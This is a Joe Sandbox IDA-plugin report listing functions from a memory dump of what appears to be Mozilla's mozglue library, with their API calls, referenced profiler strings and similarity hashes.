Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

" attempted to re-register as ", xrefs: 6C69F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
Thread , xrefs: 6C69F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1
NtMapViewOfSection, xrefs: 6C669701

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

<none>, xrefs: 6C69DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

\ml, xrefs: 6C651F3E
MOZ_CRASH(), xrefs: 6C652000
Dml, xrefs: 6C651F32
Dml, xrefs: 6C651F56

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

